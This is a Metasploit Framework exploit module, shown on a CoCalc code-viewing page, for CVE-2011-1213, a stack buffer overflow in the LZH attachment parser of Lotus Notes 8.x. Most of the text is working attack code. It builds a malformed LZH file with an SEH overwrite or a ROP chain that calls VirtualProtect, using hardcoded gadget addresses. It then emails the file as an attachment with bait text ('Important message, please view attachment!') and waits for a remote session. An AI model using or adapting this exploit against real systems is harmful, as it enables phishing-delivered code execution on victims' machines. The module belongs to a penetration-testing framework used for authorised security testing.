Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/lotus/lotusnotes_lzh.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking # needs client interaction and permanent listener
8
9
#
10
# This module sends email messages via smtp
11
#
12
include Msf::Exploit::Remote::SMTPDeliver
13
include Msf::Exploit::Remote::Seh
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)',
20
'Description' => %q{
21
This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
22
parsing a malformed, specially crafted LZH file. This vulnerability was
23
discovered binaryhouse.net
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'binaryhouse.net', # original discovery
28
'alino <26alino[at]gmail.com>', # Metasploit module
29
],
30
'References' => [
31
['CVE', '2011-1213'],
32
['OSVDB', '72706'],
33
['BID', '48018'],
34
['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
35
['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
36
],
37
'Stance' => Msf::Exploit::Stance::Passive,
38
'DefaultOptions' => {
39
'EXITFUNC' => 'process',
40
},
41
'Platform' => ['win'],
42
'Targets' => [
43
[
44
'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
45
{
46
'Offset' => 6741,
47
'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
48
}
49
],
50
51
[
52
'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
53
{
54
'Offset' => 6745,
55
'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
56
}
57
],
58
],
59
'DisclosureDate' => '2011-05-24',
60
'DefaultTarget' => 0,
61
'Notes' => {
62
'Reliability' => UNKNOWN_RELIABILITY,
63
'Stability' => UNKNOWN_STABILITY,
64
'SideEffects' => UNKNOWN_SIDE_EFFECTS
65
}
66
)
67
)
68
69
register_options(
70
[
71
#
72
# Email options
73
#
74
OptString.new('FILENAME',
75
[false, 'Sets the attachment file name', 'data.lzh']),
76
OptString.new('MESSAGE',
77
[false, 'Email message text', 'Important message, please view attachment!'])
78
]
79
)
80
register_advanced_options(
81
[
82
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
83
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
84
]
85
)
86
end
87
88
def exploit
89
header = "\x08" # Size of archived file header <-- 8 - 13 = FFFFFFF6
90
header << "\x1a" # 1 byte Header checksum
91
header << "-lh0-" # Method ID (No compression)
92
header << "\x7c\x1a\x00\x00" # Compressed file size
93
header << "\x7c\x1a\x00\x00" # Uncompressed file size
94
header << "\xB2\x5e\xab\x3c" # Original file date/time
95
header << "\x20" # File attribute
96
header << "\x00" # Level identifier
97
header << "\x07" # File name length
98
header << "poc.txt" # File name
99
header << "\x25\x7d" # 16 bit CRC of the uncompressed file
100
101
lzh = header
102
lzh << rand_text(target['Offset'])
103
104
if (target == targets[0])
105
106
lzh << generate_seh_record(target.ret)
107
lzh << make_nops(8)
108
lzh << payload.encoded
109
110
elsif (target == targets[1])
111
112
rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll
113
114
rop_gadgets =
115
[
116
0x60524404, # POP EAX; RETN nnotes.dll
117
0x7c37a140, # VirtualProtect()
118
0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
119
0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
120
0x60620001, # POP EBP; RETN nnotes.dll
121
0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
122
0x7c34280f, # POP EBX; RETN MSVCR71.dll
123
0x00001954, # dwSize
124
0x780ea001, # POP ECX; RETN MSVCP60.dll
125
0x7c38b000, # lpflOldProtect
126
0x60e73200, # POP EDI; RETN nnotes.dll
127
0x60e73201, # RETN nnotes.dll
128
0x601d5f02, # POP EDX; RETN nnotes.dll
129
0x00000040, # flNewProtect
130
0x60524404, # POP EAX; RETN nnotes.dll
131
0x90909090, # NOP
132
0x60820801, # PUSHAD; RETN nnotes.dll
133
].pack("V*")
134
135
lzh << [target.ret].pack('V')
136
lzh[32, rop_nop.length] = rop_nop
137
lzh[220, rop_gadgets.length] = rop_gadgets
138
lzh[289, payload.encoded.length] = payload.encoded
139
end
140
141
name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10) + 1) + ".lzh"
142
data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32) + 1)
143
144
msg = Rex::MIME::Message.new
145
msg.mime_defaults
146
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32) + 1)
147
msg.to = datastore['MAILTO']
148
msg.from = datastore['MAILFROM']
149
150
msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
151
msg.add_part_attachment(lzh, name)
152
153
send_message(msg.to_s)
154
155
print_status("Waiting for a payload session (backgrounding)...")
156
157
if not datastore['ExitOnSession'] and not job_id
158
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
159
end
160
161
stime = Time.now.to_f
162
print_status "Starting the payload handler..."
163
while (true)
164
break if session_created? and datastore['ExitOnSession']
165
break if (datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f))
166
167
select(nil, nil, nil, 1)
168
end
169
end
170
end
171
172